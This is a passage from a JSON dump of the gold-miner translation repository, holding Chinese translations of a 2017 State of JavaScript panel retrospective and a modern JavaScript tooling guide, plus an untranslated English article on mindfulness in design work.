[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-look-back-at-the-state-of-javascript-in-2017.md",
    "content": "> * 原文地址：[A Look Back at the State of JavaScript in 2017](https://medium.freecodecamp.org/a-look-back-at-the-state-of-javascript-in-2017-a5b7f562e977)\n> * 原文作者：[Sacha Greif](https://medium.freecodecamp.org/@sachagreif?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-look-back-at-the-state-of-javascript-in-2017.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-look-back-at-the-state-of-javascript-in-2017.md)\n> * 译者：[LeviDing](https://leviding.com)\n> * 校对者：[yanyixin](https://github.com/yanyixin)，[zhouzihanntu](https://github.com/zhouzihanntu)\n\n# 2017 年 JavaScript 发展状况回顾\n\n## 在 2017 年 JavaScript 状态调查结果出来之前，我们专家小组对 JavaScript 过去一年的发展进行了回顾\n\n![](https://cdn-images-1.medium.com/max/1600/1*k7XARFeR0RqgZhY1p5w8uA.png)\n\n[去年的 JavaScript 状况调查报告](http://stateofjs.com/2016/introduction/)的亮点之一就是，我们组建了一个专家小组对调查结果进行深入分析。\n\n今年呢，我们决定换一种稍微不同的方法：用数据说话。\n\n但是我仍然想知道我们之前专家组成员（以及两位新的特邀嘉宾）的看法，于是我联系了他们，问了些过去一年关于 JavaScript 的问题。\n\n### 与专家组成员会面\n\n![](https://cdn-images-1.medium.com/max/1000/1*Y54NpBPSXUyPr0p84xSVqg.jpeg)\n\n* [Michael Shilman](https://medium.com/@shilman): [Testing](http://2016.stateofjs.com/2016/testing/)\n* [Jennifer Wong](http://mochimachine.org): [Build Tools](http://2016.stateofjs.com/2016/buildtools/)\n* [Tom Coleman](https://twitter.com/tmeasday): [State Management](http://2016.stateofjs.com/2016/statemanagement/)\n* [Michael Rambeau](https://michaelrambeau.com/): [Full-Stack Frameworks](http://2016.stateofjs.com/2016/fullstack/)\n* 特邀嘉宾 #1: [Wes Bos](http://wesbos.com/)\n* 特邀嘉宾 #2: [Raphaël Benitte](https://twitter.com/benitteraphael) ([Nivo](http://nivo.rocks/#/) 的作者)\n\n* * *\n\n### 回顾下去年你写了些什么，关于这个特定领域你认为今后会如何发展\n\n#### Michael Shilman\n\n去年的调查报告显示，Jest 的 [NPM 下载量](https://npm-stat.com/charts.html?package=jest&package=jasmine&package=mocha&from=2016-11-10&to=2017-11-10)呈现出爆炸式增长，并且超过了 Jasmine。\n\nJest 支持 snapshot testing，我已经看到许多人将快照测试（snapshot testing）作为基本 input/output 单元测试的选择。这在 [Storyshots](https://github.com/storybooks/storybook/tree/master/addons/storyshots) 以及由 [Loki](https://loki.js.org/)、[Percy](https://percy.io/)、[Screener](https://screener.io/) 和 [Chromatic](https://blog.hichroma.com/introducing-chromatic-ui-testing-for-react-c5cc01a79aaa) 等工具构成的整个生态系统的 UI 领域更受欢迎。\n\n#### Jennifer Wong\n\n去年的调查报告也预测了 2017 年的一些发展趋势。随着各种新鲜事物的不断普及，Webpack 的发展势不可挡。Yarn 去年还不在调查对象之列，但是自从 9 月份首次发布以来，Yarn 的影响力就在不断扩大。我很好奇，看看 Yarn 和 npm 能擦出怎样的火花。\n\n[![](https://cdn-images-1.medium.com/max/800/1*3sLM8_CMXFf7pdtPWI1YYw.png)](https://yarnpkg.com/)\n\nYarn\n\n#### Tom Coleman\n\n我不确定 Redux 真正的竞争对手是否已经出现，但或许在社区中有一种正如创建者 Dan Abramov 所说的趋势：“并不是每个应用都需要使用 Redux，而且在很多情况下使用 Redux 带来的问题的复杂性高于其所解决的问题”。\n\n随着服务器数据管理工具（尤其是 GraphQL）的使用日益增加（请参阅 Apollo 和 Relay Modern），对复杂的客户端数据工具的需求可能会有所减少。看这些工具是如何逐步向本地数据支持发展将是一件非常有趣的事。\n\n* * *\n\n### 你在 2017 年用过什么新的 JavaScript 工具/库/框架等等吗？\n\n#### Michael Shilman\n\n我今年在测试领域发现的最好用的工具就是 [Cypress](https://www.cypress.io/)，[Cypress](https://www.cypress.io/) 是一个 OSS/商业上进行端到端（End-to-End）测试的一个很好的选择。尽管它现在还不是那么完善。\n\n另外，我正在维护 [Storybook](https://storybook.js.org/)，这是 React、React Native 和 Vue 最流行的 UI 开发工具。\n\n#### Jennifer Wong\n\n我们正在将大部分前端代码转换为使用 React、Redux、Webpack 和 Yarn。这个过渡过程有趣也复杂，但这将会让今后的一些工作变得轻松不少。部分原因是共享设计系统和组件库的建立。\n\n#### Tom Coleman\n\n[Prettier](https://github.com/prettier/prettier)！没有这个工具我就写不了代码了。 我用 [Jest](https://facebook.github.io/jest/) 已经很长时间了，而且真的很好用。[Storybook](https://storybook.js.org/) 也是，使用的越来越频繁（并且开始帮助进行维护）。\n\n[![](https://cdn-images-1.medium.com/max/800/1*mjiXB1CfVNcS5QFJKlvDXw.png)](https://prettier.io/)\n\nPrettier\n\n此外，我一直在开发一个名叫 [Chromatic](https://blog.hichroma.com/introducing-chromatic-ui-testing-for-react-c5cc01a79aaa) 的 Storybook 可视化回归测试（regression testing）工具。当看到一些公司（包括我自己的）使用这个工具完成前端测试，我真的是十分高兴。\n\n#### Michael Rambeau\n\n我在 2017 年发现的最喜欢的工具是 [Prettier](https://github.com/prettier/prettier)。它让我写代码时不用再担心代码“风格”了，节省了我大量时间。\n\n我不再关心 tab 和代码是否整齐这类问题，只需在 IDE 中按下 Ctrl S，一切就都格式化了！此外，它还可以减少与其他团队成员在相同一个代码库上进行协作时的冲突。\n\n#### Wes Bos\n\n各种各样的东西！[date-fns](https://date-fns.org/) 让我放弃了对 [moment.js](https://momentjs.com/) 的使用。[Next.js](https://github.com/zeit/next.js/) 对于构建服务端渲染的 React 应用越来越重要。我也在学习如何将 Apollo 与 GraphQL 一起用好。\n\n#### Raphaël Benitte\n\n同时服务于几个开源项目，并且要兼顾工作，提高项目的自动化程度就显得尤为重要。Prettier、ESLint、Jest、[Validate-commit-msg](https://github.com/willsoto/validate-commit) 和 [Lint-staged](https://github.com/okonet/lint-staged) 在这方面确实很有用。\n\n我还为 React 构建了一个名叫 [Nivo](http://nivo.rocks/#/) 的数据可视化的库。\n\n[![](https://cdn-images-1.medium.com/max/800/1*Dwl7zseAHT2n6W63COQiUA.png)](http://nivo.rocks/#/)\n\n最后，随着原生的 Node.js 对 Async/Await 的支持越来越好，我也尝试使用了 [Koa](http://koajs.com/)。虽然其生态系统比 Express 更窄，但我发现它很容易上手，而且如果你熟悉 Express，那就不会有陌生感。\n\n* * *\n\n### 如果有人想从头开始学习 JavaScript，那么你会推荐他专注于哪三种技术呢？\n\n#### Michael Shilman\n\n* React for UI.\n* Webpack for build.\n* Apollo for networking.\n\n#### Jennifer Wong\n\n任意一种框架、任意一种构建工具和 Node。许多概念都是在框架和构建工具之间进行转换的，所以你仔细学习其中之一，还会对你理解其他的内容有帮助。如果必须要我选一个框架和构建工具，我应该会选 React 和 Webpack，因为它们正在趋势化，并且在业内看来，他们的发展趋势也很不错。\n\n#### Tom Coleman\n\n当然是 React，尽管其他前端相关的东西也很有意思，但是 React 生态系统相当庞大且完善。这是你必须掌握的技术。\n\nGraphQL，我认为大多数有经验的前端开发都能认识到，GraphQL 所能解决的问题非常广，并且用起来也很舒服。\n\n[![](https://cdn-images-1.medium.com/max/800/1*slDxUJmZvHd-wV4GsAJmAw.png)](http://graphql.org/)\n\nGraphQL\n\nStorybook，我认为从组件构建其状态是应用程序开发的未来，而 Storybook 就是这样做的。\n\n#### Michael Rambeau\n\n* 前端部分：React\n* 后端部分：Express\n* 前后端测试部分：Jest\n\n#### Wes Bos\n\n如果你还在学习阶段，你需要通过一些小小的成就感来保持你对这门语言的兴趣。所以我只说些基础知识，学习 DOM API，学习 Async 和 Await，并学习新的可视化 API，如网页动画等。\n\n#### Raphaël Benitte\n\n* 如果你是个 JavaScript 方面的小白，那就从基础学起吧，并且 ES6 现在已经是 JavaScript 基础的一部分了。\n* 当然还有 React for building UIs\n* [GraphQL](http://graphql.org/)正在走向成熟，现在已经被 Facebook、GitHub、Twitter 和 [其他很多大公司](http://graphql.org/users/) 使用…\n\n* * *\n\n### 现在你在 JavaScript 方向最大的痛点是什么\n\n#### Michael Shilman\n\n最佳实践方法和怎么选 CSS-in-JS 的库。虽然有很多不错的选择，但感觉仍然碎片化，并且现在还有很多人在做 CSS-in-CSS，所以有很多痛点。\n\n#### Jennifer Wong\n\n不断的变化。当我学习一项新技术的时候，我们正在走向下一个。 另外，停止偷我的CSS，JavaScript！前端这块技术是日新月异，学了这个又有新的蹦出来了。喂 JavaScript 你就别来抢我 CSS 的饭碗了，中不中？\n\n#### Tom Coleman\n\nWebpack。卓越强大的工具在\"越配置越方便\"的错误观念道路下越走越远了。\n\n要避免学习复杂的 JS 应用程序是非常困难的，但通常情况下，你不用太纠结于这些细枝末节。我仍然希望 Meteor 能够重得宝座，成为构建现代 JS 应用程序的最佳方式。\n\n#### Michael Rambeau\n\n缺乏标准，在开始一个新项目之前选择技术栈时，需要考虑方方面面。但是这种状况正在逐步改善。\n\n#### Wes Bos\n\n`checking && checking.for && checking.for.nested && checking.for.nested.properties`。我知道这里有一些实用的功能，但是看起来我们可能很快就会用到这个语言。\n\n#### Raphaël Benitte\n\n有太多的工具了...选择合适的工具太困难，我们必须非常小心，因为 JS 生态系统中的趋势变化速度太快。\n\n* * *\n\n### 你最期待 JavaScript 生态系统在 2018 年中有什么发展？\n\n#### Michael Shilman\n\n心愿单（不知道这些会不会在 2018 年发生）：\n\n* GraphQL 在数据同步方面的方便程度达到 Meteor 的水平。\n* React Native 的通用（Web 端/移动端）稳定性得到提升。\n* Cypress 或其他端到端的测试工具出现。\n\n#### Jennifer Wong\n\n稳定性。我掐指一算啊，JavaScript 栈和 JavaScript 社区会平静一段时间，我们会进入到一个流失度较低的新阶段。\n\n#### Tom Coleman\n\nBabel 的末日到了！我很喜欢 Babel，但是自从有了 Node 8，babel 就被我嫌弃了。能够再次和 interpreter 合作简直太棒了。\n\n很显然，ES 标准将继续向前发展，但是随着 JavaScript modules 和 async/await 的很多痛点被解决掉，JS 新版本和 node 及所有现代浏览器融合度的提升，很多项目会在短时间内发展的非常好。\n\n#### Michael Rambeau\n\n我很想看看 GraphQL 是如何发展的。它会在发布新的 API 的时候成为标准吗？\n\n#### Wes Bos\n\n既然 Node 已经稳定并且所有浏览器都有了 Async 和 Await，我期待原生 promise 在众多框架、工具库和你日常编写的代码中越来越普遍。\n\n#### Raphaël Benitte\n\n大多数语言都有一个 专用/首选 的构建工具（例如 Java 的 Maven）。尽管在 JavaScript 方面我们有很多选择，但这些解决方案往往是专门用于前端的。我希望看到 npm（或 Yarn）添加对基本功能的支持，如文档，自动完成，脚本依赖等。否则，我可能会继续使用 GNU Make。\n\n虽然这个问题很有争议，但是我们已经看到有人对 [TypeScript](https://www.typescriptlang.org/) （或 [Flow](https://flow.org/)） 很感兴趣。Node.js 和浏览器已经明显加快了发展速度，但是如果你想要静态类型的话，你仍要为它再添加一个编译转换层。那么原生静态类型的 Javascript 呢？ 你可以在 [这儿](https://esdiscuss.org/topic/es8-proposal-optional-static-typing)  找到关于这个的讨论。\n\n* * *\n\n### 总结\n\n通过上面的内容，我们的小组有几点一致性意见：React 是一个明智的选择，Prettier 是一个很好的工具，JavaScript 生态系统仍然太复杂了...\n\n这正是我们做这个调查的时候试图找到的问题。\n\n我们很快就会在我们的网站上将报告发布出来。 大概在 12 月 12 号之后的那周吧。\n\n我们将举行[直播 + Q＆A 环节](https://medium.com/@sachagreif/announcing-the-stateofjs-2017-launch-livestream-14e4aeeeec3a)，所以大家可以在那问你想问的问题 - 或者就过来看看呗。我们还有可能为大家带来神秘嘉宾哟... :)\n\n如果你想知道活动啥时候开始，结果是啥，你想收到及时的通知的话可以[在这留下您的 Email](http://stateofjs.com/)，我们会通知你的。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/a-map-to-modern-javascript-development.md",
    "content": "> * 原文地址：[A Map To Modern JavaScript Development](https://hackernoon.com/a-map-to-modern-javascript-development-2017-16d9eb86309c#.5veb58lh7)\n> * 原文作者：[Santiago de León](https://hackernoon.com/@sdeleon28?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[gy134340](https://github.com/gy134340)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia),[Tina92](https://github.com/Tina92)\n\n# 新一代 JavaScript 的开发图谱（2017）\n\n过去 5 年里你一直使用 REST 接口。或者你一直在优化搜索公司里庞大的数据库。又或者你一直在给微波炉写嵌入式软件。自从你用 Prototype.js 来对浏览器进行面向对象编程已经过去很久了，现在你想提升一下你的前端技能，你看了一下发现情况是[这样](https://thefullfool.files.wordpress.com/2010/09/wheres-waldo1.jpg)。\n\n当然你不是要从一堆徐峥里找出葛优，你在找 25 个连名字都不知道的人。这种情况在 JavaScript 社区特别常见，以至于存在 “JavaScript 疲劳” 这个词。当你有时间去看一些关于这个主题的有趣的东西的时候，你会看到[在2016年学习JavaScript是怎样的体验？](https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.c7g9ng4e7)绝妙的反映了这个现象。\n\n但你现在没时间了，你在一个大迷宫里，你需要一张地图，所以我做了一张。\n\n一点声明在前：这是一张可以让你快速行动，不必做自己太多决定的作弊表。基本我会给通用的前端开发制定一套工具，这将会给你一个舒服的环境而不会让你太头疼。一旦你搞定了这些问题，你就可以根据需要自信地调整技术栈。\n\n### 地图结构 \n\n我将会将这张地图分为几个你需要解决的问题，对于每个问题，我将会：\n\n* 描述问题或工具需求\n* 决定你需要选取哪种工具\n* 讨论为什么这样选\n* 给一些其他选择\n\n### 包管理\n\n* 问题：需要管理项目和其依赖。\n* 解决办法：NPM 和 Yarn\n* 原因：NPM 是目前相当多的软件包管理器。Yarn 基于 NPM 但是优化了依赖的解决方案，并且维护一个锁文件（lock file），用来保存库确切的版本号（它可以集成在 NPM 中，它们是相辅相成而不是单独存在的）。\n* 可选：暂时未知。\n\n### JavaScript风格\n\n* 问题：ECMAScript5 (老版本 JavaScript) 太烂。\n* 解决办法：ES6\n* 原因：这是未来的 JavaScript ，但是你可以现在就用了。结合其他多种语言有用的特性。比如说：箭头函数、模块导入/导出功能、解构、模版字符串、let 和 const、生成器、promises。如果你是写 Python 的你会感觉更舒服和习惯。\n* 可选：TypeScript、CoffeeScript、PureScript、Elm\n\n### 编译\n\n* 问题：许多浏览器目前不支持 ES6,你需要东西来把你现代的 ES6 编译成 ES5。\n* 解决办法：babel\n* 原因：在服务端编译，完美的解决办法，也是事实上的标准。\n* 可选：Traceur\n* 注意：你需要使用 babel-loader，一个 Webpack loader (以及一些其他的)，如果你计划使用任何风格的 JavaScript 你都需要编译。\n\n### Linting\n\n* 问题：有一万种写 JavaScript 的方式所以很难达到一致性。一些 bug 可以用 linter 检查出来。\n* 解决办法：ESLint\n* 原因：完美的检查和很好的可配置性。airbnb preset 值得遵循。对你熟悉新的语法绝对有帮助。\n* 可选：JSLint\n\n### 打包工具\n\n* 问题：你不能使用分开的单独文件，依赖需要被解析和正确的加载。\n* 解决办法：Webpack\n* 原因：高度可配置性，可以加载所有的依赖和文件，支持热插拔。事实上，他是 React 项目的打包工具。\n* 可选：Browserify\n* 不利性：一开始可能很难配置\n* 注意：你需要一点时间来了解这东西是怎样工作的，你还需要了解一点 babel-loader、style-loader、 css-loader、file-loader、url-loader。\n\n### 测试\n\n* 问题：你的应用很脆弱，很容易崩溃，所以你需要测试。\n* 解决办法：mocha (测试运行)，chai (断言库) 和 chai-spies (对于假的对象，你可以查询某些事件应不应该发生)。\n* 原因：使用简单，功能强大。\n* 可选：Jasmine、Jest、Sinon、Tape。\n\n### UI 库／状态管理\n\n* 问题：这是大家伙，单页应用越来越复杂，状态管理也很麻烦\n* 解决办法：React 和 Redux\n* 使用 React 的原因：令人兴奋的范式转变，打破许多 web 领域的教条更好的实现。关注比传统方法更好的分离：取代分离 HTML/CSS/JavaScript 而采取组件化的思想。你的交互界面只是状态的反映。\n* 使用 Redux 的原因：如果你的应用不是很轻量，你需要你个东西来管理状态 （否则你疲于对于组件间的交互与数据传递，以及组件化的局限性）。网上的每一个采取抽象的 Flux 架构模式的解决办法对会让你摆脱迷惑。帮助你节省时间直接采用 Redux 就行了。 他的实现模式很精简。即使 Facebook 也使用他。另外的美妙之处：重载并保持应用状态，可测试性。\n* 可选：Angular2、Vue.js。\n* 警告：当你第一次看到 JSX 风格的代码你可能会很吃惊。然后找一个社区大喊，这是多年来认知的失调，事实上将 HTML、JavaScript 和 CSS 写在一起是很棒的。相信我— 不需要在一个文件里写两个蹩脚的引用。\n\n### DOM 操作和动画\n\n* 问题：猜猜看？当你在选择元素和执行操作 DOM 节点时你仍然需要一点权宜之计。\n* 解决办法：原生 ES6 或者 jQuery。\n* 原因：是的，jQuery还活着，React 和 jQuery 并不冲突，你的大多数需求都可以用 vanilla React 来实现 (和`querySelector`)。添加 jQuery 将会使你的打包速度变慢，我想说在 React 上使用 jQuery 不是很好你应当避免他。如果你被 ES6 和 React 不能解决的问题卡住了，或者你正在处理讨厌的跨浏览器问题，也许需要使用一下jQuery。\n* 可选：Dojo (不知还在不？)。\n\n### 样式\n\n* 问题：现在你有了正确的模块，你希望他们都是独立的并且可以有组织化的重用。组件化的样式应该像组件本身一样轻便。\n* 解决办法：CSS 模块化。\n* 原因：我喜欢内联样式（并且广泛的使用），我必须承认他们有很多弱点。是的，在 React 内可以写行内样式，但是你不能使用伪类选择器（比如`:hover`），这将会导致很多问题。\n* 可选：内联样式。我特别喜欢内联风格的原因是他们把样式看作常规的 JavaScript 对象，可以让你程序化的处理。另外，他们在你每一个的组件文件里，可以让你更好的维持。一些人仍推荐 SASS/SCSS/Less。这些语言意味着额外的构建步骤，他们并不像 CSS 模块／内联风格一样便携，但是功能强大。\n\n### 就这样\n\n你现在有一堆的东西来学习，但至少你不要在花费时间来做调查了。如果发现我少做了或者漏了什么东西？在 twitter 上给我留言或者评论吧 [@bug_factory](http://twitter.com/bug_factory)。\n"
  },
  {
    "path": "TODO/a-mindful-design-process.md",
    "content": "> * 原文地址：[A Mindful Design Process](https://headspace.design/a-mindful-design-process-f4a4641ee88f)\n> * 原文作者：[François Chartrand](https://headspace.design/@frankchartrand)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# A Mindful Design Process #\n\nHow integrating mindfulness techniques will help you become a stronger designer and a more engaged team member.\n\n![](https://cdn-images-1.medium.com/max/1000/1*zvpIsZO5ZGUBZPBD-2tdKA.jpeg)\n\nWe all have a process we follow to get us from concept to execution. Sometimes we’ll have access to a great brief, data, insights, and an inspirational mood board but still, we get stuck: we procrastinate, get hung up, or struggle with artist’s block. Sound familiar? Read on…\n\nI’ve outlined some easy-to-implement mindfulness techniques that you can start building into your process today. It’s about creating your best work in a meaningful and intentional way, and having fun while you’re at it.\n\n> “Mindfulness is awareness that arises through paying attention, on purpose, in the present moment, non-judgmentally.”\n\n> — Jon Kabat-Zinn\n\n### **Before you begin** ###\n\n**Just listen**\nThis one is so easy: just listen and pay attention. Put your phone away, close your laptop, and open your ears.\n\nWhether you’re meeting with clients, stakeholders, or having a 1-on-1 with a colleague, practice the art of listening. Ask more questions. Talk it through. Projects get much more interesting when you feel like you have skin in the game and actually care about the outcome. Here’s a short TED Talk by [Julian Treasure](https://medium.com/@juliantreasure) on [\"5 ways to listen better.”](https://www.ted.com/talks/julian_treasure_5_ways_to_listen_better)\n\n*Pro tip:* Using simple [body language techniques](https://blog.udemy.com/positive-body-language/) can be an invaluable tool in your life and career. I know it sounds lame, but it actually works—and others will feel more comfortable around you. [Mitch Joel](https://medium.com/@mitchjoel) discusses some winning body language tips on his podcast—[ check it out](https://overcast.fm/+JjXi7iC4).\n\n![](https://cdn-images-1.medium.com/max/600/1*_YryF85J5Yju7KeanuhXgA.png)\n\n**Set realistic timelines and expectations**\n\nEnsure you have enough time to get the task completed.\n\nRushing the process leads to uninspired work, so make sure you ask for enough time (or budget) to be successful. Even if you can’t get it, it’s always worth asking for what you truly believe the project requires.\n\nMany designers accept deadlines without asking why and burn out. You’ll leave a more positive impression on your peers when you set expectations early.\n\n**Design with intent**\n\nIs there something about this project that excites you? Is this your specialization, or are you up for a new challenge?\n\nTry asking yourself, is this a step in the right direction to improve my design skills? Will this help with my ideal career path? Your career is the sum of all of your work, and knowing you’re growing in the right direction can be motivating.\n\n### Do your research ###\n\n**Get context and re-frame the project**\n\nBefore you start, do some research. Without context, you won’t be able to do your best work. Even seemingly boring projects can be exciting if you re-frame them. Check out what the best-in-class are doing—there’s a lot you can learn from their successes and slip-ups.\n\n[Paul Woods](https://medium.com/@paulthedesigner) wrote a great article on [turning an uninspiring brief into an awesome portfolio piece](https://medium.com/@paulthedesigner/turning-an-uninspiring-brief-into-an-awesome-portfolio-project-31b2aa871bb7#.7dclqp3w) that may be helpful for you.\n\nTime spent researching is never time wasted. Research will help guide you toward the next step of the process with some key insights. Plus, with solid research, it’s easier to sell your ideas internally or to clients.\n\n![](https://cdn-images-1.medium.com/max/1000/1*B--DG0OODgsuNTprMK8vgA.png)\n\n**Visualize with a mood board**\n\nUse [InVision Boards](https://support.invisionapp.com/hc/en-us/articles/205249269-Introduction-to-Boards) or [Pinterest](http://www.pinterest.com) and share early on with your team. Mood boards can act as visualizations of the success you want the project to achieve. They can also help align others on the project and help, or serve as a reflection when your creative juices are running low.\n\n**Get the tools for the task**\n\nLook into what tools and licenses you’ll need and set yourself up with the proper stack of tools and software.\n\n- Stickies/markers\n- Whiteboard\n- [Paper](https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwjI-sT67ffSAhXFvLwKHQOtDtUQFggcMAA&amp;url=https%3A%2F%2Fwww.fiftythree.com%2F&amp;usg=AFQjCNGyxIjM39EcNUzww6FXtJw96xwKfA&amp;sig2=ik8RiXeUi5YCI-7Ydyrx2Q) (flows, wireframes)\n- [Sketch](https://www.sketchapp.com/) (app/web design)\n- [Zeplin](http://www.zeplin.io) (spec’ing)\n- [InVision](https://www.invisionapp.com/) (lofi prototyping)\n- [Framer](https://framer.com/) (hifi prototyping)\n- [Skitch](https://evernote.com/skitch/)(QA annotation)\n\n![](https://cdn-images-1.medium.com/max/1000/1*0fwiF6oe8FJ0VkEcY5KMsg.jpeg)\n\n### Set yourself up for success ###\n\nThe biggest hurdle in any creative process is *beginning*. If you’re having trouble getting started, sit quietly and take few deep breaths. If that isn’t helping, go for a walk, stretch, meditate, make yourself coffee, put on an album you enjoy—whatever you need to clear your mind.\n\n> “Begin anywhere.”\n\n> — John Cage\n\n**Check your posture**\n\nI’m no scientist, but I know that posture makes a big difference in my focus and concentration. Settle in, feel the weight of your body and ensure you’re comfortable, not slouching. Standing desks are also a great option that allow you to stretch your legs and feel weight on your toes, giving you extra mobility.\n\n**Keep your focus**\n\nTry [Focus](https://heyfocus.com/)  (app) to block websites you find yourself visiting often—or fully disconnect from WiFi. Set your phone on Airplane mode and put it in another room.\n\n**Stop multitasking**\n\nSuccessful people know that being [fully present and committed to one task](http://www.zerotoskill.com/proven-steps-to-the-most-productive-day-youll-ever-have/) is indispensable.\n\n![](https://cdn-images-1.medium.com/max/800/1*4MyOs2PvfYDOQ5iXPhy1zw.jpeg)\n\n### Unlocking creativity ###\n\n**Sketch. Iterate. Simplify.**\n\nGreat designers know that your best ideas are often your last. When sketching, try not to dwell on a concept or idea for too long. Sketch out the idea or allow the thought to float away. Consider different scenarios in which people might observe this design in, whether on a mobile phone or piece of branding. Embrace and consider each thought or sensation without judging it as good or bad. Ideas will come in abundance… If your mind wanders elsewhere, notice where it has gone and gently redirect it to the present.\n\n**Reduce, simplify, observe,** and you’ll eventually get to an iteration you can move forward with confidently.\n\n![](https://cdn-images-1.medium.com/max/600/1*K6gRA8kRrQvn6CCYoz4oDA.jpeg)\n\n![](https://cdn-images-1.medium.com/max/600/1*z98ajqpYLq3zvhlbHpwP7A.jpeg)\n\nPhotos by Ian Whittlesea\n\n*Want more? Try some breathing exercises…*\n\nIf you’re looking for more of a creative boost, you might want to consider the breathing exercises found in *Hazdaznan Health & Breath Culture*, a book exploring the relationship between Mazdaznan, Johannes Itten and the Vorkurs (Preliminary or Foundation Course) at the Bauhaus.\n\n**Remember that design is for people**\n\nNo matter what, design is for an end-user or consumer and we should do our best to understand their needs and desires—whether that’s a subscriber, a client, or a client’s client. Be respectful and considerate of everything they’re going through when engaging with your design.\n\n### Communication matters ###\n\n**Share often and communicate clearly**\n\nKeep your team in the loop often and set expectations early. Meet your deadlines, and if you’re about to miss a deadline, give your manager or client a heads up and let them know how you’ll avoid this in the future.\n\n**Communicating with your team**\n\nWhen it comes to communicating with your team, be aware of communication styles. Some people appreciate a note on Slack before you swing by their desk. Others prefer to meet in private. Everyone’s different and [increasing your self-awareness](http://www.tanveernaseer.com/increasing-self-awareness-to-improve-how-we-communicate-scott-schwertly/) will improve the way others react to your feedback.\n\n### **Take notes** ###\n\n**You can never take too many notes**\n\nIt’s better to take too many notes than not enough. If it helps, you can even record meetings on your phone to listen to later when you’re working on the project. This way you can be totally sure you’re checking all the boxes your manager or client shared. [Helen Tran](https://medium.com/@tranhelen) of Shopify wrote about her [bullet-journal system](http://helentran.com/two-habits)and how a system like this is a habit that changed her career.\n\nBefore completing a project, take time to jot down what went well and what didn’t so you can learn from any successes or shortcomings and be better prepared in the future. If you’re not being mindful of the process and how you felt under certain pressures, you’re bound to keep repeating the same mistakes. [Journaling](http://stronginsideout.com/journaling-techniques/)is handy as a general life practice and helps you track the progress you’re making in your life.\n\n**Don’t take revisions or feedback personally**\n\nEven if you think you’ve found the best solution it’s not a solution if it doesn’t work for your user or clients. Reach a good balance between your knowledge, expertise, and your client’s.\n\nWhile criticism isn’t personal, you should always stand up for your decisions if you think it’ll help the end-user. You should be proud of your work, but design is, in the end, for users and customers. Sometimes people give ego-driven feedback because they feel like they have to prove their own worth (even you!), and being aware of this is helpful. Practicing deep breathing or a short meditation before meetings can help keep the ego in check.\n\n[Julie Zhuo](https://medium.com/@joulee)  wrote a post on [taking feedback impersonally](https://medium.com/the-year-of-the-looking-glass/taking-feedback-impersonally-7c0f3a8199d9) that I highly recommend.\n\n*Pro tip:* People fear feedback because it’s usually negative. If you’re able to, try and mix it up and give more positive feedback too.\n\n### Other thoughts ###\n\n![](https://cdn-images-1.medium.com/max/800/1*2MdbVkVcG59XyYG5AihtJQ.png)\n\n**Remember *why* you design**\n\nAre you designing to build up your portfolio? To empower users? To put a roof over your head? Try keeping a memento around that reminds you why you’re doing this—whether that’s a photo on your desk or a note in your wallet. Something small that will motivate you when you’re losing steam.\n\n**Get some rest**\n\nDon’t forget to take a break once in a while. We often celebrate the tireless designers who hustle 24/7, and I’m not saying you shouldn’t — that’s up to you — but if you’re burning the midnight oil often, you might consider using apps like [f.lux](https://justgetflux.com/) to help with your sleep. (makes your computer screen look like the room you’re in based on time of day).\n\n**Be humble. Give credit where it’s due.**\n\nIt takes teamwork to make the dream work. Give credit to your teammates and share that big launch or award with others—even Buzz Aldrin had hundreds of people behind him when he first stepped onto the surface of the moon.\n\n**Keep your desk clean**\n\nNASA astronauts clean up their stations after every use; more designers should do this, especially when it comes to meeting rooms and communal spaces. Keep your desk clean, keep your mind clean (and ready for those bursts of creativity).\n\n**Be thankful**\n\nWe’re lucky to do what we do for a living. Design is still in its infancy, and there’s so much exciting work to do. Happy designing! 🌞\n\n\nThanks to [Alex Pompliano](https://twitter.com/alexpompliano) for editing. 🙏\n\n*Frank is a Product Designer at [*Headspace*](http://www.headspace.com). He was previously at [*Edenspiekermann*](http://www.edenspiekermann.com) and co-founded [*Bureau*](http://www.bureau.ca).*\n\n*You can follow him on [*Twitter*](http://www.twitter.com/frankchartrand).*\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 